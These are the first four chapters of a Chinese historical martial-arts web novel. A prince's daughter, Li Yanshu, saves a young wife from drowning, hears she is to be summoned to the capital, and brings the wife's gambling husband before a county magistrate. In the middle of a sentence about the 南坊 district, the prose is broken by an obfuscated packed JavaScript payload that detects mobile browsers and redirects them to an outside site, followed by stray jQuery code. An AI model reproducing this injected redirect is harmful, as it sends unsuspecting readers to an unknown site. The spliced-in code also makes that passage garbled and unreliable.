《剑起不平》 1. 契子 相传百年前,瓯越夷族先人得仙人点拨,长生不老,通古今,预未来。风闻起,秦王顷举国之力逐之。然未遂,夷族人一夜之间销声匿迹。 秦末二年,幼帝继位,妇寺干政,中涓猖獗。朝政日非,权朝更迭,盗贼蜂起,藩王、豪强戈钺一方,混战不断,民不聊生。 秦末四十六年,武朝开国皇帝武圣帝于翼州巨鹿起兵,平四海,定五州。破竹之势历七月,豫、荆、青、晋、雍等五洲皆降。是年称帝,定都元安,择国号“武”,长达四十余年的各国混战终于结束。 武圣二年,弹丸小国金川得一圣女,助其一年横扫邻国数十城。传闻金川圣女乃夷族之后,得之便能得天下。 同年九月,武圣帝举兵西出金川,未果。 武圣十年,金川圣女于阳关诞下一子,后在众目睽睽之下葬身火海,至此,纷争遂止。 次年,武圣帝驾崩,其三子继位,开启“武明元年”。 武明三年。 “金川六百里加急塘报!” “金川六百里加急塘报!” 铁蹄声划破长夜,城门缓缓打开,一人一马横策帝都,所及之处烛火盏盏。 子时。 皇宫议政殿,烛火通明。 大臣们拱手积喜,一派祥和之象。 武明帝高御明堂,一贯威严难定的脸上在这时显出了几分喜意,“好好好,不愧是朕的骁勇大将军,三年,就替朕平了金川这块心腹大患,朕心甚悦。来人,宣旨。骁勇大将军李阿鼎平定金川有功,特封‘渭阳王’。” 百官拜伏,齐声高呼:“吾皇万岁,万岁,万万岁!” 紫宸殿。 寝殿内,值守太监小心翼翼上前更换蜡烛,换好后转身对上进来那人,立刻弯腰,谄媚道:“王公公。” 王德祥没什么表情地摆摆手,遂正襟步入内殿。 殿内陈设同前朝一般,极致朴简,唯墙上一副长九尺、宽六尺的天下江山图尤为突出。 见武明帝还在舆图前,便对回头瞟了眼恭候在殿外的小太监。那小太监立刻会意,屏气凝神悄然退下。很快,一个宫女端着茶进来。 王德祥接过,恭身奉上:“陛下。” 武明帝跣足仰望,指腹轻轻抚过舆图,细细感受上面用金线绢裱出的“金川”二字。今夜过后,这里就属于武国地界了。 “什么时辰了。”武明帝道。 王德祥 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很快,属于“渭阳王”的声浪在茶馆里一阵赛过一阵,震耳欲聋。 2. 跪迎 “小姐,小姐!” 素影在枫林找了大半个时辰,终于在这棵数米高的枫树下找到了自家小姐。只见树上那人容貌出挑,只是年岁尚小,眉眼间总还带着些许未褪的稚气。 这枫树枝干本就偏高偏细,且不说寻常人根本上不去,就是上去了,细小的枝干也支撑不住一个人的重量。 小丫鬟在树下急得跳脚,无奈道:“小姐,夫人寻你,你快些下来吧。” 听到这句,树上的人才睁开眼。 李砚书直起身,扫了一眼,背靠在树干上,一条腿屈起踩在枝干上,一条腿在空中晃荡,“素影,你怎么也跟骨衣学坏了,现在都学会编瞎话诓我了。” 这还没到晚膳时辰呢。 忽然,李砚书像是想到了什么,顷刻间表情一顿,愁眉苦脸。 不对!还没到晚膳时辰阿娘就让人来寻,莫不是又有人上门告状了? 想到这,李砚书掩饰性地闭上眼,又躺回去,嘴里念叨着:算了,算了,还是晚些时候再回去,好歹等阿娘气消些了再说。 从前这两个胆大包天的小丫头就编各种瞎话诓她回去,素影胆子比较小,因此每次都是骨衣主谋,素影顶多算个从犯,没想到今日竟连素影这小丫头也扯起谎来了。 素影哎呀一声,当即紧张地伸出双手护在李砚书下方,生怕人掉下来,就这样还不忘自证清白:“哎呀,奴婢怎敢诓骗小姐,真是夫人让我来寻小姐的!小姐,你当心着些呀!” “当真?” 看这样子也不像是有人上门告状,莫不是真有什么急事? 李砚书不明就里,但下一秒手下一用力,屈腿从树上跃下。 素影连忙上前替李砚书整理发带,衣裙。虽然王爷与夫人都允许小姐习武,甚至可以随意离府游玩,但相应的妆发衣裙等需严格按照打扮姑姑的要求来,不然一切免谈。 渭阳王妃楚惟美其名曰,女子就要有女子的样子! 李砚书随手拍了拍鹅黄裙身,疑惑道:“阿娘唤我回去作甚?” 天可怜见,她最近乖得不得了,就连洛霓那里都没去,整日就呆在她这小枫林里练功。 素影摇了摇头,“不知,是夫人身边的阿挽姐姐让我来寻小姐你的。” “阿挽姐姐呀……” 李砚书稍稍放下心,只要不是伊阙姑姑来就行。 素影有些着急道:“小姐,我们快些回去吧,夫人还在等着呢。” 渭阳王府。 远远的,她们就看见候在王府门口的骨衣。 李砚书心中一惊,一般骨衣或者素影候在门口等她,那一定是事情比较严重。 比如阿娘真的生气了! 李砚书不确定地又问一遍素影:“真是阿挽姐姐让你来的?” 这可不兴诓人啊! 素影也奇怪骨衣为何会来,但还是肯定道:“是阿挽姐姐啊。” 待她们走进一些,骨衣遥遥行了礼,赶忙道:“小姐,殷虚传来消息,王爷大获全胜,不日便能班师回朝!” 李砚书呼吸一滞。 “当真!?” 李阿鼎领兵出征殷虚三年有余,期间虽有消息传回,可殷虚距此十万八千里,就算有什么消息也是延了一月,谁也说不准这一月中会不会节外生枝,横生变故。三年来此类消息传回三次,结果回回都不尽人意。 “千真万确。” 阿挽不知何时出现在三人身后,朝李砚书见礼,温声道:“王妃在里间等着小姐呢,小姐快些进去罢。” 李砚书一颗扑通乱串的心总算是落到了实处,旋即风风火火冲进内院。 廊下曲折,乌栖时分的碎金一块块打在晃动的竹帘上,云蒸霞蔚。阒然一眼,黄昏的光影里夹杂着流矢的风声,李砚书慢下脚步,往那上面多瞧了一眼,下一刻两道熟悉的声音从里间传出。 “荒唐!” 楚惟难得这般生气。 “王妃息怒,现下最要紧的还是查出此事的幕后主使。” 就声音而言,洛夫人明显要沉得住气些。 李砚书脚步一顿。阿娘甚少如此生气,何况还是在洛夫人面前。 接着她听见楚惟说:“这些年王爷四处征战,一心报国,从无越矩之处,这些宵小怎敢如此毁王爷名声。” 洛夫人道:“说来也怪,溱溪郡距殷虚往来书信最快也要两日,这何以贤又是从何处得知,竟是正好在王爷班师回朝的路上率亲眷百姓沿街跪迎。” 听罢,楚惟掌心捏着揉皱成一团的信条,冷静下来。 作为本朝唯一一位异姓王,李阿鼎本就受万人瞩目,威风得不行,再加上渭阳雄据五万兵力,战功彪炳,这就不是锦上添花,稍有不慎则是功高盖主。然功高盖主者,自古以来无不君王忌惮,百姓惧怕,下场凄凉。 楚惟轻轻呼了一口气,有些举棋不定。 李砚书往后退了两步,抬手拨了下竹帘,随后快步走进内堂,人未露面声先到。 “阿娘!” 随着一声轻咳,端居主位的楚惟轻声说:“你今日倒是回得早。” 李砚书站定对二人行礼:“阿娘。洛姨。” 洛夫人应声起身,“既如此,我也就不叨扰了。” 楚惟抬手,示意身旁的伊阙,“替我送送善音。” 待洛夫人走后,李砚书立刻问道:“阿娘,阿爹和哥哥是不是要回来了?” 楚惟掏出锦帕,李砚书见状挨着楚惟坐下,垂下眼任由楚惟仔细给她擦着额上的薄汗。 “是,约莫着就这几日了。” 李砚书眼睛一亮,话里是止不住的高兴,“那得赶紧将这好消息告诉师傅,年前师傅还跟我说‘一别三载,也不知阿寅那臭小子如何了’。” 楚惟点了点李砚书的鼻子,佯嗔道:“没大没小。” “那阿娘,”李砚书眯起眼睛,“女儿想现在就去……” 知女莫若母。楚惟笑而不语,意思就是准了。 “阿娘最好了!” 李砚书来得快去得也快,风风火火,像一阵风。 伊阙送人回来,上前扶起楚惟来到内室,“夫人,要送信给元安那位吗?” “不。”楚惟将信纸举至烛火上方,“不能问了。陛下已然知晓,此时再派人进宫为时已晚。” 楚惟方才被气昏了头,才动了去问那位的念头,现下回过神来,不禁冷汗涔涔。溱溪郡那边刚传出百姓跪迎的消息,她这里就送信进皇宫,岂不正好落人口实。 皇后是她亲姐姐,她这封信一旦送出,来日就是一道催命符。 楚惟默声片刻,心下有了决计,对伊阙道:“吩咐下去,即日起王府闭门谢客。” 李砚书的师父是一位武功极高,但身份行踪极为神秘的女子。自小便教她习武,开始几年还好,日日守在她这颗独苗上,悉心照顾。在李砚书十岁那年,毋玄起初是四个月离开一次,一年后,变成两个月离开一次。但自从三年前李砚书能与之过上几招后,饶是她这个亲传徒儿,唯一一颗独苗苗也不常能寻到她的踪迹了。年前更是留下一本心法后就彻底没了音讯。 故李砚书只能将要跟她说的话写下来,藏进只有她们师徒二人知晓的石洞里面。 不出意外的,李砚书此去也没有见到她失踪了大半年的师父。 她照例将信封塞进石洞里,便马不停蹄地下山。 刚行至山脚,李砚书抬眼望去,暮影暗沉,天边已经与夜色接洽,融为一色。她正诧异竟这么快就天黑时,突然听见“噗通”一声。幸好现下四周阒静,得叫这相隔几十米,又有树影遮挡的落水声落入了李砚书耳中。 李砚书顺着声音寻去,很快就看到了落水之人。 这段河流不算湍急,寻常人不小心跌落进去,稍微会点水性的人都不会出事。就算是不会水,也可以大声呼救,引人救援,可河里那人既不挣扎也不呼救,眼看人命在须臾,李砚书也顾不得许多,一个猛子扎进河里。 她刚捉住那人的手,就见那人原本闭着的眼睛倏地睁开,满眼震惊地看着李砚书,似乎是想叫她放手,甫一开口,嘴里就呛了一口河水进去。 李砚书只得咬紧牙关,一鼓作气将人带上了岸。 遂一上岸,那姑娘便扑在地上猛咳了几口水出来,而后难以遏制地掩面抽泣起来。 李砚书拧头发的手一顿,手足无措地问道:“姑娘,姑娘何苦如此,可是有何什么委屈?不若与我说说,无论什么事,我定帮你雪 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“这是作甚!快起来。”李砚书赶紧将人扶起,“黄苓?山有榛,隰有苓。姑娘今日过后定会遇难成祥,一帆风顺。” 将人扶起后,李砚书才发现黄苓瘦得厉害,十跟手指更是红肿得像小萝卜,在寒风中瑟瑟发抖。李砚书瞧得心急,懊恼自己今日出门怎地没有带上披风,不然此时也能给这位姑娘披上。 她们身后这座山叫做百鬼山。早年间是处匪山,后被当时的渭城郡守也就是现在的镇国将军杨起剿灭。谁知那山大王宁死不降,临死前一把大火烧了整个寨子。 据说那场大火烧死了全寨上下几百口人,那哀嚎声即便是十公里开外的人也能听见。几年后,枯山居然神奇般焕然一新,郁郁葱葱,竟是比渭城哪一座山都要茂盛。很快就有两个胆大的猎户安耐不住进了山,结果进去了就再没有出来,生不见人,死不见尸,进而就传出了山里有鬼的传言。就这样一传十、十传百,于是就有了百鬼山这个名字。到今日,这座山方圆几里都没人再敢靠近。 难怪黄苓会到这来做傻事。这前不着村后不着店的,真出事了得到猴年马月才会叫人发现。 黄苓一看就是个不会骑马的,李砚书伸手打算扶人上马,谁知她刚一伸手,黄苓就慌忙摆手,说:“怎敢劳烦小姐……” 她话还没说完就被李砚书一把扶上了马背,随着一声惊呼,李砚书翻身上马,将人圈在身前。 “姑娘且安心。” 说罢,策马疾行。 得益于李砚书多年来往于城山之间的经验,对其间的各种便捷小道那叫一个了如指掌。这不,寻常人要半个时辰的路程,她一炷香的时间就到了。 骨衣与素影早早地便在门口等候,在远远见着那道熟悉的身影时,骨衣率先察觉到不对,对素影道:“快去备热水。” 素影不疑有他,即刻转身回去准备热水。 骨衣会武,眼力比起常人要好上许多,因此她老远就看见湿漉漉的两人策马而来。十米开外,骨衣飞身向前接住已经晕倒在李砚书怀里的黄苓。 李砚书翻身下马,从骨衣手中抱过黄苓匆匆进府,“骨衣,快去请大夫!” “是。” …… 鸡飞狗跳到子夜,李砚书来到黄苓床前,素影上前小声道:“小姐,大夫开的药已经给这位姑娘服下了。” 说起汤药,李砚书两个时辰前也被楚惟灌了一大碗药水进去,到现在还是一嘴的苦味。 想到这,她眉间幽怨,不禁咽了咽口水。都跟那大夫提了几次了,让他开药时不要放那么苦的东西进去,他偏是不听,开的药是一回比一回苦!想她一个铁骨铮铮的王府大小姐,天不怕地不怕,唯独对上那能苦死脾肺肝脏的汤药,也只能下马认输。 本来喝了药已经睡下,因为放心不下黄苓,故而又起身过来看看。 李砚书“嗯”了声,躬身摸了摸被褥,道:“还是有些薄,再添床被褥吧,夜间风大。” “是,奴婢知道了。”素影也劝道,“小姐也赶紧回去歇息吧,且等明日这位姑娘一醒,奴婢立刻告知小姐。” 李砚书笑道:“今夜辛苦你了,过两日带你去城固楼吃酒。” 素影喜道:“谢小姐。” 3. 毋玄 翌日一早,李砚书一睁眼就想起昨夜发生的事。 昨夜她前脚从黄苓房里出来,后脚就见到了她失踪大半年的师父。 来人一身夜行衣,四下漆黑,看不清她的相貌。虽身形削瘦,但在那站定就给人一种凌厉的感觉,莫名给人一种压迫感。光是那股子蔑视众生的傲然气质,让李砚书立刻认出来人。 “师父!”李砚书惊喜道。 毋玄看了她一眼,淡淡道:“跟上。” 虽说平日里师傅跟自己说话就是这么个语气,可是今夜,此时此景,李砚书莫名觉得后脖颈子好似被一只无形的手拎住了一般,让她不自觉提了一口气上来。 李砚书“哎”一声,老老实实跟在她师父身后,悄悄摸摸又格外熟练地回到自己院中。 毋玄在院中站定,李砚书也随之停下,正想着师傅深夜前来有什么大事要跟自己说,下一秒就嗅到了危险,立刻本能地侧身躲闪。 毋玄招式凌厉迅捷,习武之人一看便知这是一位用剑高手。对于毋玄的出手招式,这半年来李砚书日日研究,说不上大成,但也算小有成就,一招一式有来有回,总不像从前那般连十招都过不了。 李砚书的躲闪和抵挡,换做往日她肯定是满意的,毕竟在这般年纪就能与自己对上几招,在同辈当中已经算得上是佼佼者了,只是现在……还不够。 毋玄拳风愈加凌厉。只前面几下,李砚书还能滑泥鳅似地擦着衣边避开,几套连招下来,她气息渐渐有些不稳,一个劈岔,眼见来不及避开,只能硬着头皮硬接。 李砚书吃亏就吃在这上面,她虽自幼习武,可到底是王府大小姐,不像真正的江湖人那般经历过生死厮杀,骨子里终究缺了一股心劲儿,于是很快就落了下乘。 两人掌心对上,“嘭”地一声,李砚书猛地被震开,一连退了四五步才稳住身形。 毋玄看着她,说:“有进步,但还是太慢了。” 李砚书甩甩已经麻掉的右手,只听见师傅夸她的那句,没皮没脸地笑着说:“谢谢师父。” 接着,她又问:“师父啊,您这半年去哪了?徒儿都寻不到您。” 毋玄道:“金川。” ……金川!? 虽说十三年前金川就归属武朝,但终归是附属国,且中间必经之地还是一座死城。除了来往商贸与朝廷使臣,极少有大武人往那边去。 李砚书不解道:“金川?师父去那作甚?” 毋玄颔首,道:“会友。” 李砚书道:“会友?师父在金川还有朋友呢,日后有机会徒儿也要去拜访拜访!” 渭阳城虽好,可李砚书看了十六年,对这城里的各类风光那是如数家珍。所以她现在对城外的风光如饥似渴,恨不得凭空多出对翅膀飞出去才好,奈何阿爹跟阿娘任她在渭阳城里闹得天翻地覆,就是不许她出城半步。真是气煞人也。 毋玄不语。 李砚书忽然想起来还有一件大事没说,连忙道:“师父,我有个好消息要跟你说!阿爹跟哥哥要回来了,阿娘说就这几日了。等哥哥回来,到时我们一起去固城楼吃酒可好!蔡师傅上月回家省亲,正好这两日也要回了!” “我知道。”毋玄面无表情地说,“今夜我来找你是有两件事,你仔细听好。” “师傅您知道了,您……”是看到我留给你的信了吗? 李砚书一句话没说完,就被毋玄后面的话惊住,脸上的笑容慢慢收敛。 “王爷跟阿寅过两日不会回来,他们受诏直入元安,现在估计已经到雍州了。而召你进京的圣旨也已在来的路上,渭城不能无人,所以王妃不能随你去元安,此行只有你一人。这是第一件事。”毋玄说道,“第二件事,你入元安后去找一个人,她将会是你在元安的先生,教你我教不了的。你记住,她是武国有史以来第二位,武明六年的三元榜首——元鸿今。” 见李砚书不说话,毋玄抬手拨弄了下她方才打斗中散下来的几缕发丝,沉声道:“砚书,此行师父亦不能陪你同往。” 李砚书沉默了一会,握拳低声道:“徒儿明白。” 白日里那般高兴,高兴得她差点就忘了,经此一役,业经登顶功名利禄的异姓王李阿鼎,早已封无可封了。 位极人臣说起来好听,一人之下万人之上的巅峰存在。试问天下哪个当官的,读书的,不想去碰一碰,坐一坐那个位置。只是一人之下中的那个“人”,却未必能容得下这么一个人的存在,不断刷新功勋,载入史册。 若史书工笔尽是人臣,那皇帝岂不成了尔尔。 尔尔皇帝,何其可笑。 世人皆知楚惟乃当今皇后胞妹,又是渭阳王唯一的王妃,一品诰命夫人。这等尊贵身份哪还需要进京受赏,再者她也不能离开渭阳。渭阳西临吐藩,北上金川,乃关中要塞。渭阳留有守城精锐三万,祁连山驻扎兵马五万,凉州守备军五万,成掎角之势互守城关。李阿鼎出兵阴虚,渭阳三万人马就交到了楚惟手里,她一旦离渭,渭阳就成了无主之城,届时人心浮动,金川虎视眈眈,吐藩趁乱出兵,后果不堪设想。 李阿鼎立下战功,理应嘉奖。所谓皇恩浩荡,便是一人得道鸡犬升天。既然他封无可封,那就封赏他的一双儿女。 如此方能昭告天下,以彰天恩。 …… 李砚书叹了口气。 两件事。前者她本就想出渭阳瞧瞧,元安虽远了些,去瞧瞧也是不错的。 后者嘛,就有些为难她了。 看师父的意思是想自己拜在人家门下,可拜三元榜首,还是我朝唯一一位女状元为先生,她倒是愿意拜,可人家未必愿意收啊! 师父她老人家以为女状元是街上的白菜,自己想拜就能拜啊! 李砚书独自闷了一会气,双手使劲揉了揉脸,随后长长呼了口气出来,直到把身体里那团郁气呼出去,才觉得好受一些。她利落起身,唤打扮姑姑进来。 元安的白菜,不,圣旨,还没那么快到,她要趁这几日将黄苓的事处理好,还要跟洛霓好好道个别,还要去学堂跟齐夫子道别,还要带素影跟骨衣去城固楼吃酒。这样算下来,她好像比阿娘这个渭阳王妃还要忙。 第一件事,就是黄苓的事。 说巧不巧,正在这时素影就派人来说黄苓醒了。 李砚书放下碗筷,当即过去。等她到时,黄苓已经换上了自己原本那身粗布麻衣,一见到李砚书就跪了下去:“草民黄苓拜见小姐。” “这是作甚,快起来。”李砚书将人扶起,“黄苓姑娘不必如此。” 丫鬟将碗筷收拾好,素影挥挥手,丫鬟们鱼贯而出。屋里边只剩她们两个人,李砚书道:“这里就我们两人,姑娘有何委屈尽可相告。” 黄苓眼眶一红,哽咽着说:“李小姐大恩,草民,草民没有委屈。” 说完又跪下去,给李砚书重重磕了个头,“草民不慎落水,幸得小姐搭救,草民拜谢小姐大恩,小姐好人善报,定能长命百岁。” 李砚书又将人扶起,脸上表情未变,只道:“姑娘确定么?” 黄苓眼睫上还挂着泪,闻声低头,半晌才小声地说:“草民,确定……” “倘若姑娘确定无冤,我即刻着人送姑娘回去。”李砚书对门外喊道:“骨衣!” 骨衣推门进来,“小姐。” “送黄苓姑娘回去。” “是。” 黄苓拜别:“草民谢小姐。” 待人走后,她想起昨日夜里李四查到的消息。 “小姐,黄苓的身份查清了。今年十六,原是城外下河村黄达家的第五女,十年前被黄达用十五两银子卖给了城内刘屠夫家做童养媳。前几年城里屠夫少,因此刘屠夫家发达了几年。可惜天有不测风云,刘屠夫在六年前突然暴病身亡。刘老太太因为伤心过度没多久也病倒了,一直靠吃药撑着。刘屠夫唯一的儿子刘宝没有继承刘屠夫的手艺,学堂也没再去。三年前因为好赌,把他家老宅都输了,现在人都住在‘南坊’。” 所谓“南坊”,其实是位于城南的一片流民区。 早些年因为战乱成了一片废墟,原房主或战死,或饿死,或下落不明。是楚惟出钱,买下了这一片,简单翻修后收容那些因为战乱无家可归,或是突逢变故生活拮据的人住。开始是不收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521299|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的。后来城中重建,百姓安居乐业后,楚惟将一部分低价出售,另一部分则是低价租赁。可能是因为一月房租只需十文,便引来了不少游手好闲的地痞无赖。 李砚书也曾问过楚惟,为什么要给这些地痞流氓住,为什么不把他们赶出去? 楚惟答道:“一座城里不可能全是好人善人,你赶走他们,他们难道到了外面就会一心向善,做善事了吗?与之相反,他们离开渭阳,一旦没了我跟你爹爹的桎梏,他们可能会做出更加无可挽回的事情。砚书,坏人是杀不完的,但是可以压制。就好比牢狱里那些坏人,在牢狱里面他们就不伤害不到别人了。” “南坊就好比一个宽松一些的牢狱,他们住在里面,在做什么事之前就会想一想,后果是不是他们可以承担得起的。不然你以为阿娘为何定下,一旦闹事就逐出南坊的规定。南坊就好比他们最后的庇护所,有些人可能生来就没有什么大志向,大抱负,碌碌无为对于他们来说也算一种活法。这世上有很多人,就注定会很多种活法,你不能要求每一个人都顶天立地,成为大丈夫行走四方行侠仗义。只要不伤害到旁人,怎么活都是他自己的选择,我们不能过多干预。” 楚惟的话李砚书似懂非懂。因为在她的认知里,不论是男人还是女人,都是一样的,都应该轰轰烈烈地活着才对,而不是庸庸度日,磋磨光阴。 李砚书给自己倒了杯茶,浅啜的功夫,又进来一个丫鬟,行礼道:“小姐,刘老太太在几日前离世了。” 话音刚落,楚惟从门口进来。 李砚书见状搁了茶盏,起身作礼,“阿娘怎么来了?” 楚惟挥挥手示意那个小丫鬟下去,冷声道:“为娘为什么来,你不知道?” 李砚书知道此事瞒不过楚惟,却不想到她竟然这么快就知道了,不免讪讪道:“阿娘这次我可没有胡闹啊,我这是正经事,一个如花似玉的姑娘家青天白日就要投河,肯定是受了天大的委屈,可她不说,我就只能派人去查了。” 楚惟不是反对她管这事,而是想到昨日她一身湿透回来,就知道这是亲身下河救人了。万一河水深一些,急一些,万一她出了什么事怎么办! 一想到这些她是每回睡下都会梦见李砚书被河水卷走的画面,如此反复,一晚上都没休息好。 楚惟气得一只手扬起,李砚书见状一下跳开,游刃有余地躲到桌子后面,叫道:“娘!阿娘,您可是王妃啊,怎么能动手打人呢!不成体统啊!” 她不说还好,这一说无异于火上浇油,只见楚惟气得拳头都握了起来,扬声道:“伊阙!给我按住她!” 李砚书一听,大觉不妙。早知如此方才应该躲到门口去的,这下可好,被左右包围了。 单枪匹马的李砚书最终还是没有逃脱包围圈,被楚惟用戒尺重重打了几下手心。 这个戒尺还是几年前齐夫子带来的,似木似铁,她娘用过一次后,觉得顺手就留了下来。好几次李砚书都想偷偷给她扔了,扔到她娘看不见的地方去。虽然只是想想。 这玩意打手可疼了,偏生打在手上没什么印。一回楚惟见她实在嚎得厉害,便停下查看,发现一点印都没有后,打的更重了! 李砚书左手捧着右手小心地吹气,对她打累了坐下喝茶的阿娘说:“阿娘,真的疼,这玩意打人是内伤吧,比跟师傅切磋时挨一拳都疼。您赶紧将它丢了,不然我晚上肯定吓得都睡不着觉!” 理不直气也壮,何况还是刚刚挨了打的李砚书。 她朝一旁一直未开口的伊阙姑姑眨眼,想让她帮自己附和两句。岂知,伊阙姑姑面无表情地移开目光。 不看她?竟然不看她! 李砚书能屈能伸,旋即又看向楚惟,笑嘻嘻地道:“娘——” 楚惟总算开恩,叫人收起了戒尺。 丢是不能丢的,其它东西用起来都没有它顺手。 李砚书赶紧道:“阿娘,你这罚也罚了,女儿也不能白挨了这顿打不成,这就去一探究竟了哟。” 楚惟看她闹心得很,大发慈悲地挥手让人走了。 看着一溜烟就没了的身影,楚惟一口气又提了上来。 4. 威武 李砚书一踏出院子就直奔王府门口而去,骨衣早早候在那里。 “骨衣,你去帮我办件事。”李砚书神秘兮兮地冲骨衣招手,示意人附耳过来。 等骨衣策马离去,她招来一个丫鬟,吩咐道:“你把李四他们几个给我叫过来。” “李四他们几个”指的是包括李四在内的一共六个壮汉。 那丫鬟一听眼睛都亮了,兴奋道:“好的,小姐。” 李砚书作为王府大小姐自然是不能事事都亲自动手,所以大部分惩恶扬善的事呢,就交给李四他们几个代劳。因此每当李砚书带着李四一行人出门,就意味着有人要倒霉了。 七人七马浩浩荡荡从王府出发,穿过渭阳城最繁华的街道,越过渭阳城最大的酒楼,声势浩大,惹来不少人驻足观望。 “这小霸王怎么又出来了!” “准是又有人造孽,让这小霸王知晓了。” 有人幸灾乐祸的,笑着说:“又要有人遭殃啰!” 也有人不知的,连忙问道:“这小霸王是谁?为何她出来就有人遭殃,官府就没人出来管管吗?” 很快就有人回答他,“这位兄台是刚来渭阳城吧,这小霸王就是这渭阳城之主渭阳王之女,李晗。你说官府敢管吗?” 这位还没说完,另一位就道:“这位兄台说的是什么话,什么叫官府敢管吗?” 说着他转向最初问问题的那位,道:“那些人是罪有应得,都是些欺男霸女,无恶不作之徒,这王府大小姐可是除暴安良,惩恶扬善的好人。管的都是官府不敢管,管不了的事!” 被打断的那位不服了,忿忿道:“你说是好人就是好人,你亲眼见到了,你每次都在现场不成?哼,一个大小姐不好好呆在王府里绣花,整日里跟一帮五大三粗的汉子出来策马,一看就是个不安分的!” 他话音刚落,与他随行的那人吓得赶紧捂住他的嘴,咬牙道:“住口!你不要命了!你当那是谁?是你我可以说的?!” 这人也反应过来自己方才说了什么,瞬间吓出一身冷汗。 渭阳城内谁不知道这王府大小姐是整个王府的掌上明珠,捧在手里怕摔着,含在嘴里怕化了。他什么身份,又有几条命够他霍霍,敢这般议论王府大小姐! …… 这层楼诡异地安静了几秒。 他往旁边看了一圈,发现方才还叽叽喳喳谈论的众人低头不语,俨然一副事不关己的模样。 最初问话那人,一边说着“借过,借过”,一边匆匆下楼。 南坊地理偏僻,加之里面所住之人大部分都是些游手好闲之辈,因此大白天的街上也没多少行人,零星几个小贩在路边支摊,生意都大差不差。 他们来到黄苓家门前。这里与南坊大部分房屋一样,半人高的小木门连狗都防不住,更别说是防人了。不过住在这里的人好像也没有什么家产值得窃贼惦记,就算是窃贼来了,估计也得空手而归。 李砚书翻身下马,“留下两人看马,告诉他们如果有人想要进来,无需阻止。” 李四拱手道:“是。” 果然不出一会儿,好事的人就安耐不住,在门口频频探头。 很快,在发现门口那两个人没有阻止他们前进的意思后,就迫不及待地进去。结果进去一看,好些人惊在原地,瞪大了眼睛——只见两位王府侍卫压着刘宝,地上躺着把沾着血迹的菜刀,而刘宝媳妇被王府大小姐抱在怀里,不停在哭。 这场面一看就是动刀了。 众人热闹看得愈发起劲,七嘴八舌说什么的都有。忽然,门口传来一阵杂乱的脚步声,一道高昂的声音响起:“县令大人到!” 原本堵在门口的人们纷纷退到两侧,给县令大人让路。 县令陈邱,字卓先,通州人,武明四年进士,武明七年谪任渭阳县令。当时都以为陛下会让他做渭阳刺史,毕竟是京城派遣下来,按照惯例以往最次都是太守。结果圣旨下来时令所有人大吃一惊,县令,竟只是一个小小县令! 堂堂大武进士,又是翰林学士,最后竟然沦落到一介县令,可惜可叹。不少人猜测,他是因为得罪了京城里的谁,才会被“贬”到这来。 陈邱大步流星进来,先是巡视了一圈,而后不卑不亢地道:“李小姐,本官接到你的丫鬟报案,说是这里有一桩杀人案,故而前来。” 李砚书将黄苓放到前陈邱一步进来的丫鬟手上,行礼道:“劳烦陈县令亲自前来。” 她指向一侧,寒声道:“此人就是杀人凶手,刘宝。” 此话一出,围堵在门口的众人立刻惊呼,跪伏在地上蓬头垢面的刘宝也瞪大了眼睛,里面都是血丝,仿佛是一个从地狱里爬出来的厉鬼,指着李砚书啐道:“呸!你胡说!” 说着又跪爬到陈邱面前,不断磕头,“大人,大人要为草民做主啊!这,这疯婆子不知从哪冒出来,先是仗着人多就将草民不由分说就将草民打了一顿,现在又污蔑草民杀人,想要冤死草民!青天大老爷可要为草民做主啊!草民冤枉啊!” 其实早在刘宝拿手指着李砚书的那一刻,李四就忍不住要向前两步踹死这个不知死活的敢辱骂自家小姐的人,但是被李砚书一个眼神压了下去。 衙役上前扯开刘宝,陈邱冷哼一声,“全部带走!” …… 肃穆公堂上,随着惊堂木一声脆响:“升堂——” “威——武——” 陈邱正居“明镜高悬”下方,他问刘宝:“刘宝,本官且问你,你祖母因何而死?” 刘宝哆嗦一下,“回大人,草民,草民祖母因病去世。大人,草民祖母年逾花甲,一直以来身子骨就不好,一直靠吃药撑着,草民一直尽心侍奉,不曾有一刻懈怠,可惜天不遂人愿,祖母她老人家还是没有……” 说到这,刘宝掩面垂泣,一副伤心欲绝的模样。 围观的百姓有些闻之动容,议论间不禁有些偏向了。 “无耻之尤。”李砚书没想到此人竟无耻至此,旋即对陈邱行礼道:“陈县令,刘老太太的确久病缠身,但我派人去问过一直给刘老太太开药的郎中,他说刘老太太的病虽不能根治,但只要一直按时服药,也绝不会病情加重到突然故去。大人,这是济世堂费郎中的签字画押。” 衙役将其递给陈邱。 陈邱看了脸上喜怒莫辨,一时没有言语。 李砚书接着说:“据费郎中所说,一直去拿药的刘家媳妇黄苓,突然在半月前就不再见她去拿药。民女恳请大人带黄苓上堂。” 陈邱道:“带黄苓。” 片刻,黄苓进来,叩头道:“草民拜见大人。” 陈邱严肃道:“黄苓,本官问你,为何半月前你没有再去济世堂拿药?你可知你祖母的病不能断药,你此举是何居心!” 黄苓连呼吸都在发抖,手掌撑在冰凉的地上,寒意仿佛都顺着手心渗进了五脏六腑里。 跪在一旁的刘宝眼睛一转,不等黄苓说话,大声道:“就是她,就是这个毒妇,不仅断药害死我祖母,还伙同这个疯婆子一起来污蔑草民,如今证据已有,还望大人替草民讨回公道!”说着,又给陈邱磕了几个响头,试图将追责推诿干净。 一时间,堂下的百姓议论纷纷。 说没想到这个黄氏平日里看起来贤良孝顺,没想到竟是个心思这般歹毒的,果真是知人知面不知心。 “哦,是么?”李砚书于一片喧闹中突兀道。 所有人将目光移到她身上,跪伏在地的黄苓一怔,泪眼朦胧地看向她。 “陈县令在此,尔等所言皆是呈堂供证,倘若所言有虚,便是藐视公堂,犯了欺官之罪!”李砚书朝陈邱行礼道:“陈县令,劳烦带赌场管事胡千。” 刘宝一听到“赌场”二字,脑子里轰地一声,手脚并用地就想要爬起来,同时嘴里还恶狠狠地冲李砚书咆哮:“你这个贱人!我要杀了你!” “啪!” 惊堂木一响,陈邱的声音也随之响起:“公堂之上,岂容你放肆!” 